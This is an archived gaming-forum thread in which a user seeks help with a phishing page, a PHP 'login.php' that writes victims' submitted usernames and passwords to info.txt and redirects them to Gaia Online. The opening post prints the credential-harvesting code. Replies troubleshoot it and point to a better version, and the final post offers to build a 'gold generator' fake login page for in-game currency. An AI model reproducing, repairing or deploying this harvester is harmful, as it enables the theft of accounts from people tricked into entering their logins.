A preserved archive of the Logical Gamers community forums, 2009-2025. The original threads and posts, served read-only. Registration, posting and private messages are gone for good.

Help With Login.php or info.txt

2.5k views · started by iSnipa ·
#1
Help With Login.php or info.txt
Just to test things out i typed in random usernames and passwords to see if my flp was working, Yet nothing is showing up in the info.txt. the file size changed but no txt. Whats the problem
is it my
login.php
<?php



header("Location: http://www.gaiaonline.com/guilds/");



$file = 'http://ripway.com/black/info.txt';



$handle = fopen("info.txt", "a") ;



fwrite($handle, '');

fwrite($handle, $username);

fwrite($handle, "");

fwrite($handle, ': ');

fwrite($handle, $password);

fwrite($handle, "

");

fclose($handle);

exit;
#2
Get a new login.php
You messed this one up
Use the search bar and look up login.php enhanced
#4
Thanks, Great help!

Mods close,Thanks
#5
One of your problem was probably setting header("Location: whatever") at the top.
Also, the file should be Ripway.com - fast, free file hosting and website hosting, not Welcome to Ripway.com - free file hosting, free music hosting, direct linking
Also, setting $file to a url was pointless and a bad idea, because it wouldn't have opened that way. In this case it wasn't a problem because you used the text rather than the variable.


Also, get a host other than ripway. Your bandwidth is exceeded, and will always be, because ripway is shit.
#6
Setting the header at the top won't affect anything, since code after header() is still parsed.

Using http:// was definitely a bad idea, but I've provided him with valid code now.
#7
GAMEchief wrote:
Setting the header at the top won't affect anything, since code after header() is still parsed.

Using http:// was definitely a bad idea, but I've provided him with valid code now.


I didn't know that; Thanks. I'm not the best with PHP just yet.
#8
Yeah. header() just sends the header of a document, no matter what it inside it (Location, Content-Type, etc.). The document is still sent.

So even though this is pointless:
<?php
header('Location: other-page.php');
echo "A webpage!";
?>
It's still a valid webpage. Just as this would be valid:
<?php
header('Content-Type: text/html');
echo "A webpage!";
?>

So PHP doesn't stop parsing after any header(). This would probably be useful for automated systems instead of humans. If a bot (one the owner created) was reading data off the system, the server could send the Location header so that it would know what page to read next. cURL even supports doing this - reading the data and automatically following the Location header.
#9
I can make you a gold generator flp for 7k LG